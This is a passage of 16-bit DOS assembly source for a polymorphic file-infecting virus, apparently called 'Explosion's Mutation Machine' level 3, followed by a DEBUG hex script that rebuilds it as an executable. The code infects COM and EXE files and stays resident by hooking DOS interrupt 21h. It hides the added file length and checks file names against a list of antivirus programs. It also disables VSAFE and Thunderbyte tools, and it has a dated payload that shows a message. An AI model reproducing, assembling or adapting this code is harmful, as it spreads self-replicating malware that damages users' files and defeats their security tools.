                mov     dx,LENOVER-1
                call    rnd_get         ;in dx offset within overwritable bytes
                mov     ax,gba
                add     ax,dx
                sub     ax,bp
                stosw
pmverr:         retn

chtabgl         db      13
                dw      offset gjmp
                db      32
                dw      offset gmutp
                db      17
                dw      offset gmovp
chtabg1         db      70
                dw      offset gmovr
                db      1
                dw      offset gsacf
                db      16
                dw      offset gpushr
                db      16
                dw      offset gpopr
                db      4
                dw      offset gshlr
                db      4
                dw      offset gshrr
                db      2
                dw      offset gsarr
                db      2
                dw      offset grolr
                db      2
                dw      offset grorr
                db      2
                dw      offset grclr
                db      2
                dw      offset grcrr
                db      7
                dw      offset gorr
                db      7
                dw      offset gandr
                db      4
                dw      offset gxorr
                db      4
                dw      offset gtestr
                db      9
                dw      offset gaddr
                db      9
                dw      offset gsubr
                db      2
                dw      offset gadcr
                db      2
                dw      offset gsbbr
                db      4
                dw      offset gcmpr
                db      4
                dw      offset gincr
                db      4
                dw      offset gdecr
                db      4
                dw      offset gxchgr
                db      2
                dw      offset gnegr
                db      2
                dw      offset gnotr
                db      0ffh

EMM:
                cld
                mov     cx,10
                mov     di,offset registers
                xor     ax,ax
li1:            stosb                   ;initialize variables
                add     di,3
                loop    li1
                xchg    bx,ax           ;bx=0
                mov     al,eflag
                and     al,01h
                mov     res+3,al        ;if al=1 ds is set, if al=0 ds is not set
                mov     al,04h
                test    byte ptr eflag,2
                jz      nsspj
                or      al,03h
nsspj:          or      rsp,al  ;don't change sp , known value of sp on input
                mov     ssp,DEPTH       ;initialize ssp
                mov     ptei,offset ei  ;initialize ptei
neprkm:         mov     cx,5
                mov     si,offset chtb20o
                mov     di,offset chtab20
sprpm:          lodsb
                cbw
                xchg    dx,ax
                call    rnd_get
                xchg    ax,dx
                add     bx,ax
                stosb
                inc     di
                inc     di
                loop    sprpm ;setting of probabilities for memory-modifying instructions
                or      bx,bx
                jz      neprkm  ;not accepted setting of the probabilities
                mov     di,offset hbuf
                mov     ax,-1
                push    ax
                test    byte ptr eflag,4 ;generate intro garbage bytes ?
                jz      ngenuv
                pop     ax
MAXINTRO=100
                mov     dx,MAXINTRO-1
                call    rnd_get
                inc     dx              ;in dx length of intro in bytes
                push    dx
                push    dx
                call    rnd_get
                call    gbytes          ;write down random bytes
                mov     retnaddr,di     ;address of retn instruction
                mov     al,11000011b
                stosb                   ;write retn
                pop     ax
                sub     ax,dx
                xchg    dx,ax
                call    gbytes          ;random bytes
ngenuv:         mov     ax,di
                sub     ax,offset hbuf
                add     ax,rel
                mov     hip,ax          ;ip value for the file
MINHDR=400                      ;minimal header length
                mov     dx,LENHBUF-LENDEC-MINHDR+1
                pop     ax              ;in ax length of intro-1
                sub     dx,ax
                call    rnd_get
                add     dx,ax
                add     dx,MINHDR       ;in dx start of decoder
                                ;relatively to start of hbuf, i.e. header length
                mov     hend,dx
                add     hend,offset hbuf ;relocation relat. to start of buffer
                add     dx,rel
                mov     sodec,dx        ;start of decoder within the file
                mov     word ptr ds:(offset chchtb+1),offset chtabgl ;use all instructions
                mov     byte ptr ds:(offset sj1+1),0 ;setting of the switched jump
next_inst:
                push    di
                mov     dx,3
                call    rnd_get
                or      dl,dl
                jz      ginsh
                mov     dl,1
ginsh:          mov     fw,dl           ;byte or word inst.
chchtb:         mov     si,offset chtabgl
                call    choose          ;generating of inst.
                pop     ax
sj1:            jmp     short gc1
gc1:            push    di

;#####
;to run on 486 change the following instruction
;which goes:    add     di,MAXJMP+3-1
;into:          add     di,40           ;prefetch queue is 32B for 486
;#####

                add     di,MAXJMP+3-1
                cmp     di,hend
                pop     di
                jb      next_inst
                mov     word ptr ds:(offset chchtb+1),offset chtabg1 ;do not generate mem-modifying ins.
                mov     byte ptr ds:(offset sj1+1),offset gc2-offset gc1 ;switch of jump
                jmp     next_inst
gc2:            cmp     di,hend
                jb      next_inst
                xchg    di,ax
                jne     next_inst       ;if not end of header then repeat
                xchg    di,ax
                mov     bx,di
                mov     ax,offset stsub+(hbuf-start_virus)-LENVIR-(dcjmp-sdec)-2
                sub     ax,di
                mov     dcjmp,ax        ;setting the jump in decoder
                mov     si,offset sdec
                mov     cx,LENDEC
                rep     movsb           ;copy decoder behind header
                mov     si,ptei
udzd:           cmp     si,offset ei
                jna     vsmu
                sub     si,6            ;reading of mem-modif. inst. in reverse order
                mov     al,byte ptr [si]
                mov     dl,al
                and     dl,11111100b
                cmp     dl,00000000b
                jne     zop1
                or      al,00101000b
zop1:           cmp     dl,00101000b
                jne     zop2
                and     al,00000011b
zop2:           mov     ah,10001111b
                and     word ptr [si],0011100011111100b
                cmp     word ptr [si],0000100011010000b
                jne     njtsp
                and     ah,11000111b ;xchange ADD for SUB, ROL for ROR and vice versa
njtsp:          mov     word ptr ds:(offset vari),ax
                mov     dx,word ptr [si+2]
                mov     word ptr ds:(offset vari+2),dx
                mov     cx,word ptr [si+4]
                jmp     $+2
vari:           xor     [bx+1234h],cx   ;perform reverse operation on decoder
                jmp     udzd
vsmu:           retn

;******************* decoder ****************

sdec:
                sti
                push    cs
                pop     ds
dcmsi:          mov     si,1234h
dcmax:          mov     ax,1234h
                mov     cx,(LENVIR-1)/2+1
dp2:            xor     [si],ax
                jmp     short dcaax1
dcaax2:         add     ax,1234h
                inc     si
                loop    dp2
                db      0e9h
dcjmp           dw      ?
dcaax1:         add     ax,1234h
                inc     si
                xor     [si],ax
                jmp     dcaax2

edec            label   near

;******************** Explosion's Mutation Machine ********************

;*************** copied routines **************

zencode:
                mov     cx,LENVIR
                xor     dx,dx           ;offset start_virus
                call    zzp1
                mov     ah,40h
                mov     bx,handle
                pushf
                db      9ah
                dd      ?               ;call   ds:oriv21
                jc      zec1
                cmp     ax,cx
zec1:           pushf
                call    zzp1
                popf
                retn
zzp1:           push    cx
                mov     si,dx
zecmax:         mov     ax,1234h
                mov     cx,(LENVIR-1)/2+1
zzp2:           xor     [si],ax
zecaax1:        add     ax,1234h
                inc     si
                xor     [si],ax
zecaax2:        add     ax,1234h
                inc     si
                loop    zzp2
                pop     cx
                retn

zres24:
                mov     al,03h
                iret

zenden          label   near

;************** routines for res. part *************

set_on_24:
                push    dx
                push    ds
                push    cs
                pop     ds
                mov     ax,3524h
                call    int21
                mov     seg24,es
                mov     off24,bx
                mov     ax,2524h
                mov     dx,offset res24
                call    int21
                pop     ds
                pop     dx
                retn

set_off_24:
                mov     ax,2524h
                lds     dx,dword ptr cs:off24
                call    int21
                retn

identify:                               ;is file infected ?
                push    dx
                mov     ax,es:[bx+2]
                inc     ax
                xor     dx,dx
                div     cs:v30
                mov     ax,es:[bx]
                and     al,11111b
                cmp     al,dl
                stc
                je      iekon           ;already infected
                mov     ax,es:[bx]
                and     ax,0ffe0h
                or      al,dl
                clc
iekon:          pop     dx
                retn

;*********** infect EXE,COM ***********

write_file:
                mov     ah,40h
                jmp     short s1
read_file:
                mov     ah,3fh
s1:             call    s2
                jc      s3
                cmp     ax,cx
s3:             retn
start_file:
                xor    cx,cx
                mov     dx,cx
pos_start:
                mov     ax,4200h
                jmp     short s2
end_file:
                xor     cx,cx
                mov     dx,cx
pos_end:
                mov     ax,4202h
mhandle:
s2:             mov     bx,cs:handle
int21:
                pushf
                cli
                call    cs:oriv21
                retn

infect:
                mov     ax,5700h
                call    mhandle
                mov     bx,offset ftime
                mov     [bx],cx
                mov     [bx+2],dx       ;read in time and date of last write
                call    identify
                jnc     ienjnp
igbck:          retn

ienjnp:         xor     dx,dx
                call    rnd_get
                mov     word ptr ds:(offset dcmax+1),dx
                mov     word ptr ds:(offset ecmax+1),dx
                xor     dx,dx
                call    rnd_get
                mov     word ptr ds:(offset dcaax1+1),dx
                mov     word ptr ds:(offset ecaax1+1),dx
                xor     dx,dx
                call    rnd_get
                mov     word ptr ds:(offset dcaax2+1),dx
                mov     word ptr ds:(offset ecaax2+1),dx ;values for encoding

                call    start_file
                mov     cx,18h
                mov     dx,offset header
                call    read_file
pigbck:         jc      igbck
                mov     si,dx
                mov     di,offset bheader
                rep     movsb
                push    dx
                call    end_file
                mov     lenlo,ax
                mov     lenhi,dx
                mov     si,ax
                mov     di,dx
                pop     bx
                cmp     [bx].id,'MZ'
                je      iEXE1
                cmp     [bx].id,'ZM'
                je      iEXE1
                 mov    bheader.flag,0  ;0 means COM
                 cmp    ax,65535-(EXTENTION+DEPSTACK) ;much too long ?
                 ja     igbck
                 mov    bheader.min,0000h ;min. memory is 0
                 jmp    short iCOM1
iEXE1:          mov     bheader.flag,1
                mov     ax,[bx].pages
                mul     v512
                sub     ax,si
                sbb     dx,di
                jc      pigbck          ;overlay detected
                mov     ax,si
                mov     dx,di
                add     ax,EXTENTION
                adc     dx,0
                div     v512
                or      dx,dx
                jz      spcp1           ;special case is that dx=0
                inc     ax
spcp1:          mov     [bx].pages,ax
                mov     [bx].lpage,dx   ;setting pages and bytes in last page
iCOM1:          and     si,0fff0h
                add     si,16
                adc     di,0
                mov     dx,si
                mov     cx,di
                push    bx
                call    pos_start       ;allignment to the multiply of 16
                pop     bx
                cmp     bheader.flag,0
                jne     iEXE2
                 mov    byte ptr [bx],0e9h ;getting ready for jump
                 add    ax,100h
                 mov    gba,ax
                 add    ax,LENVIR
                 mov    rel,ax
                 mov    eflag,001b      ;setting parameters for EMM
                 jmp    short iCOM2
iEXE2:          mov     ax,[bx].parps
                mul     v16
                sub     si,ax
                sbb     di,dx
                mov     ax,si
                mov     dx,di
                div     v16
                mov     [bx].vCS,ax
                mov     bheader.id,ax   ;store org cs
                mov     ax,[bx].vSS
                mul     v16
                mov     cx,[bx].vSP
                add     ax,cx
                adc     dx,0
                sub     ax,si
                sbb     dx,di
                jc      zjvs
                sub     ax,DEPSTACK
                sbb     dx,0
                jc      pikon1
                add     [bx].vSS,(EXTENTION-1)/16
zjvs:           mov     rel,LENVIR
                mov     gba,0
                mov     word ptr rsp+1,cx
                mov     eflag,010b      ;setting parameters for EMM
iCOM2:          mov     ax,gba
                mov     word ptr ds:(offset dcmsi+1),ax ;start for decoder
                mov     word ptr ds:(offset stsub+1),ax ;for proper relocation
                mov     dx,6
                call    rnd_get
                or      dx,dx
                jz      nguv
                or      eflag,100b      ;generates intro with probability 5 : 1
nguv:           call    EMM
                call    encode
                jc      pikon1
                mov     ax,hip
                cmp     bheader.flag,0
                jne     iEXE3
                 sub    ax,103h
                 mov    word ptr ds:(offset header+1),ax ;setting jump in com
                 jmp    short iCOM3
iEXE3:          mov     header.vIP,ax   ;write down ip
iCOM3:          mov     cx,di
                mov     dx,offset hbuf
                sub     cx,dx
                call    write_file
pikon1:         jc      ikon
                call    start_file
                mov     cx,18h
                mov     dx,offset header
                call    write_file
                jc      ikon
                add     lenlo,EXTENTION
                adc     lenhi,0         ;change length
                mov     dx,25
                call    rnd_get         ;with probability 1 : 25 does not mark
                or      dx,dx
                jz      ikon
                mov     bx,offset ftime
                call    identify
                mov     [bx],ax         ;mark file
ikon:           mov     dx,lenlo
                mov     cx,lenhi
                call    pos_start
                xor     cx,cx
                call    write_file      ;allignment to constant length increase
                mov     ax,5701h
                mov     cx,ftime
                mov     dx,fdate
                call    mhandle         ;setting time and date
                retn

sublen:
                sub     word ptr es:[bx],EXTENTION
                sbb     word ptr es:[bx+2],0
                jnc     npretn
                add     word ptr es:[bx],EXTENTION
                adc     word ptr es:[bx+2],0
npretn:         retn

NOUNF=14                                ;number of unfriendly programms
titstr          db      3,'COM',3,'EXE'
titstr1         db      4,'SCAN',7,'VSHIELD',5,'CLEAN',8,'FINDVIRU',5,'GUARD'
                db      8,'VIVERIFY',2,'TB',2,'-V',7,'VIRSTOP',3,'NOD',4,'HIEW'
                db      5,'PASCA',7,'NETENVI',6,'F-PROT',6,'CHKDSK'

check:
                push    bx
                push    cx
                push    si
                push    di
                push    ds
                push    es
                push    ax
                mov     si,dx
                mov     bx,si
                xor     di,di
                mov     cx,LENFNB
ol1:            lodsb
                cmp     al,'\'
                je      stfn
                cmp     al,'/'
                je      stfn
                cmp     al,':'
                jne     nstfn
stfn:           mov     bx,si
nstfn:          cmp     al,'.'
                jne     itnb1
                mov     di,si
itnb1:          or      al,al
                jz      whname
                loop    ol1
                jmp     short oinok
whname:         cmp     di,bx
                jbe     oinok
                mov     si,di
                mov     di,offset titstr
                push    cs
                pop     es

                call    compare
                je      porok
                call    compare
                jne     oinok           ;COM or EXE ?

porok:          mov     cl,NOUNF+1
                mov     si,bx
                mov     di,offset titstr1
ol2:            push    cx
                call    compare
                pop     cx
                je      fkrpg
                loop    ol2             ;check for unfriendly progs
oiok:           clc
okon:           pop     ax
                pop     es
                pop     ds
                pop     di
                pop     si
                pop     cx
                pop     bx
                retn
fkrpg:          cmp     cx,2
                ja      nvpst           ;if F-PROT or CHKDSK switch off stealth
                pop     ax
                push    ax
                cmp     ah,4bh          ;execute ?
                jne     nvpst
                mov     byte ptr cs:(offset rpps1+1),offset ndnxt-offset con1
nvpst:          cmp     cx,1
                je      oiok            ;can infect CHKDSK
oinok:          stc
                jmp     okon

compare:
                push    si
                mov     cl,byte ptr es:[di]
                inc     di
                mov     ax,di
                add     ax,cx
                push    ax
popdp:          lodsb
                cmp     al,'a'
                jb      ponmp
                cmp     al,'z'
                ja      ponmp
                sub     al,('a'-'A')
ponmp:          scasb
                loope   popdp
                pop     di
                pop     si
                retn

;************** 21h handler *************

infname:                                ;in ds:dx is file name
                push    ax
                push    bx
                push    cx
                push    si
                push    di
                push    bp
                push    ds
                push    es

                call    eliminate_av

                call    set_on_24
                mov     ax,4300h
                call    int21
                mov     cs:attrib,cx
                mov     ax,4301h
                xor     cx,cx
                call    int21
                jc      errnd_l1
                mov     ax,3d02h
                call    int21
                jc      errnd_l2
                push    dx
                push    ds
                push    cs
                pop     ds
                push    cs
                pop     es
                mov     handle,ax
                call    infect
                mov     ah,3eh
                call    mhandle
                pop     ds
                pop     dx
errnd_l2:       mov     ax,4301h
                db      0b9h
attrib          dw      ?               ;mov    cx,attrib
                call    int21
errnd_l1:       call    set_off_24
                pop     es
                pop     ds
                pop     bp
                pop     di
                pop     si
                pop     cx
                pop     bx
                pop     ax
                retn

res21:
                sti
rpps1:          jmp     short con1      ;switched jump for switching off stealth
con1:           cmp     ah,11h
                je      dtrad
                cmp     ah,12h
                jne     dnxt
dtrad:          push    bx
                push    es
                push    ax
                mov     ah,2fh
                call    int21
                pop     ax
                call    int21
                cmp     al,0ffh
                je      dterr
                push    ax
                cmp     byte ptr es:[bx],0ffh
                jne     nexp
                add     bx,7
nexp:           add     bx,17h
                call    identify
                pop     ax
                jnc     dterr
                add     bx,1dh-17h
                call    sublen
dterr:          pop     es
                pop     bx
                iret
dnxt:           cmp     ah,4eh
                je      dffh
                cmp     ah,4fh
                jne     ndnxt
dffh:           push    bx
                push    es
                push    ax
                mov     ah,2fh
                call    int21
                pop     ax
                call    int21
                jc      ret21
                push    ax
                add     bx,16h
                call    identify
                pop     ax
                jnc     ret21_stc
                add     bx,1ah-16h
                call    sublen
ret21_stc:
                clc
ret21:
                pop     es
                pop     bx
rf2:            push    ax
                push    bp
                mov     bp,sp
                lahf
                mov     [bp+08h],ah
                pop     bp
                pop     ax
                iret
ndnxt:          cmp     ah,31h
                je      trmsr
                cmp     ah,4ch
                jne     nkprg
                mov     byte ptr cs:(offset rpps1+1),0
trmsr:          call    eliminate_av
nkprg:          cld
                push    dx
                cmp     ax,4b00h
                je      infac
                cmp     ax,6c00h
                jne     nxts
                test    dl,00010010b
                mov     dx,si
                jnz     saveh
nxts:           cmp     ah,3ch
                je      saveh
                cmp     ah,5bh
                je      saveh
                cmp     ah,3eh
                jne     jornd_l21
                cmp     bx,cs:chandle
                jne     jornd_l21
                or      bx,bx
                jz      jornd_l21
                mov     cs:chandle,0
                call    int21
                jc      pdxrf2
                push    ds
                push    cs
                pop     ds
                mov     dx,offset fname
                call    infname
                pop     ds
miretc:         clc
pdxrf2:         pop     dx
                jmp     rf2
jornd_l21:      pop     dx
                cli
                jmp     cs:oriv21

infac:
                call    check
                jc      jornd_l21
                call    infname
                jmp     short jornd_l21

saveh:
                cmp     cs:chandle,0
                jne     jornd_l21
                call    check
                jc      jornd_l21
                mov     cs:rhdx,dx
                pop     dx
                push    dx
                call    int21
                db      0bah
rhdx            dw      ?               ;mov    dx,rhdx
                jc      pdxrf2
                push    cx
                push    si
                push    di
                push    es
                mov     si,dx
                mov     di,offset chandle
                push    cs
                pop     es
                stosw
                mov     cx,LENFNB
                rep     movsb
                pop     es
                pop     di
                pop     si
                pop     cx
                jmp     short miretc

NUMTBN=4
tbname          db      'TBMEMXXX','TBCHKXXX','TBDSKXXX','TBFILXXX'

eliminate_av:
                push    ax
                push    dx
                push    ds
                mov     ah,0ffh
                xor     bl,bl
                int     13h             ;eliminates NOHARD
                mov     ah,0feh
                int     13h             ;eliminates NOFLOPPY
                mov     ax,0fa02h
                mov     dx,5945h
                mov     bl,31h
                int     16h             ;eliminates VSAFE
                push    cs
                pop     ds
                mov     ah,52h
                int     21h
                les     bx,es:[bx+22h]
next_device:
                mov     si,offset tbname-8
                mov     cx,NUMTBN
next_tb_utility:
                push    cx
                add     si,8
                lea     di,[bx+0ah]
                mov     cx,4
                push    si
                repe    cmpsw
                pop     si
                pop     cx
                loopne  next_tb_utility
                jne     not_tb_utility
                or      byte ptr es:[0016h],01h ;eliminates TB-utility
not_tb_utility:
                les     bx,es:[bx]
                cmp     bx,0ffffh
                jne     next_device
                pop     ds
                pop     dx
                pop     ax
                retn

owname          db      'COMMAND',00h
stsub:
                mov     ax,0000h
                mov     cl,4
                shr     ax,cl
                mov     dx,cs
                add     ax,dx
                push    ax
                mov     ax,offset mdcs
                push    ax
                retf                    ;relocation cs:ip

mdcs:
                cld
                push    cs
                pop     ds
                mov     ax,DEPTH
                sub     ax,ssp
                dec     cx
                div     cl              ;al=ax/3
                shl     ax,1            ;ax=ax*2/3
                add     sp,ax           ;sp to orig. value

;**************** action *****************

                mov     cl,ORDER
                mov     ax,counter
                div     cl
                or      ah,ah
                jnz     nap
                mov     ah,2ah
                int     21h
                cmp     dl,7
                jne     nap
                mov     ah,09h
                mov     dx,offset mess1
                int     21h
                mov     dx,3cch
                in      al,dx
                and     al,11111101b
                mov     dl,0c2h
                out     dx,al
                mov     ah,4ch
                int     21h

nap:            call    eliminate_av    ;eliminates AVIR

                mov     ah,62h
                int     21h             ;in bx PSP
                push    bx
                xor     ax,ax
                mov     ds,ax
                mov     ds,word ptr ds:(offset MEMPOS+3)
                cmp     word ptr owname,'OC'
                je      pinchb          ;already res

;**************** instalation into memory ******************

                xchg    ax,bx
                dec     ax
                mov     ds,ax
                add     ax,ds:[03h]
                sub     ax,((end_res-start_virus)-1)/16+2-1 ;segment for virus is in ax
                mov     dx,cs
                add     dx,(LENVIR-1)/16+1 ;end of virus code
                cmp     ax,dx
                jb      tranw
                mov     dx,cs
                add     dx,cs:bheader.min ;min memory req.
                cmp     ax,dx
                jb      tranw
                mov     dx,ss
                mov     si,sp
                inc     si
                mov     cl,4
                shr     si,cl
                inc     si
                add     dx,si           ;end of stack
                cmp     ax,dx
                jnb     intdp
tranw:          mov     ah,48h
                mov     bx,0ffffh
                int     21h
                cmp     bx,((end_res-start_virus)-1)/16+2
                jnb     dbjdv
pinchb:         jmp     inchb
dbjdv:          mov     ah,48h
                int     21h
                dec     ax
                mov     ds,ax
                mov     word ptr ds:[01h],0000h
                add     ax,ds:[03h]
                sub     ax,((end_res-start_virus)-1)/16+2-1 ;segment for virus is in ax
intdp:          mov     dl,byte ptr ds:[00h]
                mov     byte ptr ds:[00h],'M'
                sub     word ptr ds:[03h],((end_res-start_virus)-1)/16+2
                mov     ds:[12h],ax
                mov     ds,ax
                mov     byte ptr ds:[00h],dl
                inc     ax
                mov     word ptr ds:[01h],ax
                mov     word ptr ds:[03h],((end_res-start_virus)-1)/16+1
                push    ds
                pop     es
                push    cs
                pop     ds

                inc     counter         ;generation

                mov     si,offset owname
                mov     di,08h
                movsw
                movsw
                movsw
                movsw                   ;name of owner
                mov     es,ax
                xor     si,si
                mov     di,si
                mov     cx,LENVIR
                rep     movsb           ;copying of body
                mov     si,offset zencode
                mov     cx,(zenden-zencode)
                rep     movsb           ;copying of necessay routines
                xor     ax,ax
                mov     es:chandle,ax   ;initialisation of variable
                mov     ds,ax
                mov     ax,ds:046ch
                mov     es:rnd1,ax
                mov     ax,ds:046eh
                mov     es:rnd2,ax      ;initialisation rnd_get
                mov     byte ptr ds:(offset MEMPOS),0eah
                mov     word ptr ds:(offset MEMPOS+1),offset res21
                mov     word ptr ds:(offset MEMPOS+3),es
                cli
                mov     ax,ds:(4*21h)
                mov     word ptr es:oriv21,ax
                mov     ax,ds:(4*21h+2)
                mov     word ptr es:(oriv21+2),ax
                mov     word ptr ds:(4*21h),MEMPOS
                mov     ds:(4*21h+2),ds
                sti
inchb:          pop     bx
                push    cs
                pop     ds
                mov     es,bx
                mov     si,offset bheader
                cmp     [si].flag,0
                jne     zuEXE
                 mov    di,100h
                 mov    [si].vIP,di
                 mov    [si].vCS,bx
                 movsb
                 movsw
                 jmp    short zuCOM
zuEXE:          mov     ax,cs
                sub     ax,[si].id      ;sub cs from exe header (infected)
                add     [si].vCS,ax
                add     ax,[si].vSS
                mov     ss,ax
zuCOM:          mov     ds,bx
                xor     ax,ax
                jmp     dword ptr cs:bheader.vIP

counter         dw      1250
mess1           db      0dh,0ah,'Welcome to the Explosion''s Mutation Machine !',0dh,0ah
                db      'Dis is level 3.',0dh,0ah,'




end_virus       label   near

;************************ copied routines and heap ***********************

encode:
                mov     cx,LENVIR
                xor     dx,dx           ;offset start_virus
                call    zp1
                mov     ah,40h
                mov     bx,handle
                pushf
                db      9ah             ;call   oriv21
oriv21          dd      ?
                jc      ec1
                cmp     ax,cx
ec1:            pushf
                call    zp1
                popf
                retn
zp1:            push    cx
                mov     si,dx
ecmax:          mov     ax,1234h
                mov     cx,(LENVIR-1)/2+1
zp2:            xor     [si],ax
ecaax1:         add     ax,1234h
                inc     si
                xor     [si],ax
ecaax2:         add     ax,1234h
                inc     si
                loop    zp2
                pop     cx
                retn

res24:
                mov     al,03h
                iret

handle          dw      ?
header          strc    <>
off24           dw      ?
seg24           dw      ?
ftime           dw      ?
fdate           dw      ?
lenlo           dw      ?
lenhi           dw      ?
chandle         dw      ?
fname           db      LENFNB dup(?)

retnaddr        dw      ?
sodec           dw      ?
hend            dw      ?
ptei            dw      ?
ei              db      6*25 dup(?)
eei             label   near
rel             dw      ?
gba             dw      ?
eflag           db      ?       ;input flags (0-set DS,1-set SP,2-gen. intro)
hip             dw      ?
hbuf            db      LENHBUF dup(?)

end_res         label   near

virus_segment   ends
                end     stsub
---------------------------
N Level3.exe
E 0100  4D 5A 04 01 0A 00 00 00 20 00 3D 00 FF FF 00 00
E 0110  80 00 00 00 89 0E 09 00 3E 00 00 00 01 00 FB 30
E 0120  6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0130  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0140  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0150  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0160  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0170  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0180  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0190  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0200  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0210  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0220  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0230  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0240  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0250  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0260  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0270  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0280  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0290  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0300  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0310  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0320  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0330  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0340  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0350  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0360  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0370  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0380  B8 00 4C CD 21 00 00 00 00 00 00 00 00 00 00 00
E 0390  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F
E 03A0  00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03B0  00 00 00 01 00 00 00 00 00 10 00 1E 00 00 02 2A
E 03C0  20 45 4D 4D 20 31 2E 30 20 2A 56 50 53 51 52 B9
E 03D0  00 00 BB 00 00 BA 5A 01 B8 35 4E 96 92 85 C0 74
E 03E0  02 F7 E3 E3 05 91 F7 E6 03 C1 96 F7 E3 03 D6 40
E 03F0  83 D2 00 2E A3 43 00 2E 89 16 40 00 8B C2 59 33
E 0400  D2 E3 04 F7 F1 EB 01 92 59 5B 58 5E C3 00 00 00
E 0410  00 00 00 00 04 00 00 00 08 00 00 00 0C 00 00 00
E 0420  00 00 00 00 04 00 00 00 08 00 00 00 0C 00 00 00
E 0430  00 00 00 00 00 00 50 51 52 56 33 C9 AC 98 03 C8
E 0440  3C FF AD 75 F7 41 5E 8B D1 E8 7E FF AC 98 2B C8
E 0450  AD 3B D1 72 F7 96 5A 59 58 FF E6 50 53 8B F2 D1
E 0460  E6 D1 E6 BB 7D 00 03 F3 B5 03 80 3E A5 00 00 75
E 0470  11 83 C6 03 AC 98 96 03 F3 FE CD F6 C2 04 75 02
E 0480  FE CD 5B 58 C3 51 56 BA 08 00 E8 3D FF E8 CB FF
E 0490  F6 04 04 75 F2 5E 59 C3 50 32 E4 EB 03 50 B4 04
E 04A0  51 56 55 BA 08 00 E8 21 FF 8B EA 33 D2 8A CA E8
E 04B0  A9 FF AC 84 C4 75 0E 24 03 3C 03 74 04 3A C5 75
E 04C0  04 41 4D 78 12 42 83 FA 08 72 E4 0A C9 75 03 F9
E 04D0  EB 06 83 E2 07 EB D8 F8 5D 5E 59 58 C3 51 56 E8
E 04E0  79 FF 46 80 FD 03 75 04 89 04 EB 08 80 FD 01 74
E 04F0  01 46 88 04 5E 59 C3 51 56 E8 5F FF 46 80 FD 03
E 0500  75 03 AD EB 07 80 FD 01 74 01 46 AC 5E 59 C3 0A
E 0510  06 A5 00 52 B1 03 D2 E2 0A E2 5A C3 E8 66 FF 52
E 0520  A0 A5 00 B1 03 D2 E0 0C B0 0A C2 AA 33 D2 E8 99
E 0530  FE 92 5A E8 A7 FF E8 22 FF 08 2C 80 FD 03 75 04
E 0540  AB EB 02 90 AA C3 E8 4F FF 72 FA E8 A9 FF 50 B8
E 0550  8A C0 0A 06 A5 00 0A E2 8B DA E8 28 FF 3B DA 74
E 0560  F9 E8 AF FF AB 58 E8 74 FF E8 EF FE 08 2C C3 2D
E 0570  8C 01 2D B6 01 03 60 02 03 64 02 01 44 02 01 13
E 0580  02 01 FB 01 FF BE DF 01 E9 AB FE C6 06 A5 00 01
E 0590  F6 06 A0 00 01 75 0B E8 FE FE 72 06 B8 8E D8 0A
E 05A0  E2 AB C3 C6 06 A5 00 01 BA 20 00 E8 1C FE B8 8C
E 05B0  C0 0A E2 80 E4 F8 E8 CC FE 0A E2 AB E8 9C FE 80
E 05C0  E4 18 74 04 80 24 FC C3 A0 9D 00 88 04 A1 9E 00
E 05D0  89 44 01 C3 C6 06 A5 00 01 E8 BC FE 72 11 B8 8E
E 05E0  C0 0A E2 AB E8 10 FF 80 0E 9D 00 03 A3 9E 00 C3
E 05F0  B0 32 EB 02 B0 2A B4 C0 E8 8A FE 0A E2 E8 5B FE
E 0600  08 2C C7 06 8C 02 32 C0 EB 77 A0 A5 00 00 06 8C
E 0610  02 E8 E3 FE 8B 2E A2 00 55 9D FB FC 0A C3 9C 5D
E 0620  89 2E A2 00 E9 B6 FE E8 E0 FF 80 0E A1 00 01 C3
E 0630  2D F7 02 2D DE 02 0A C4 02 FF AC B4 C3 A3 8C 02
E 0640  AC A2 D6 02 AC B4 C0 A3 E8 02 AD A3 FE 02 BE A0
E 0650  02 E9 E2 FD 33 D2 E8 02 FE AC 24 03 3C 03 74 04
E 0660  3A C5 75 23 52 B0 0C 0A 06 A5 00 AA EB 29 E8 27
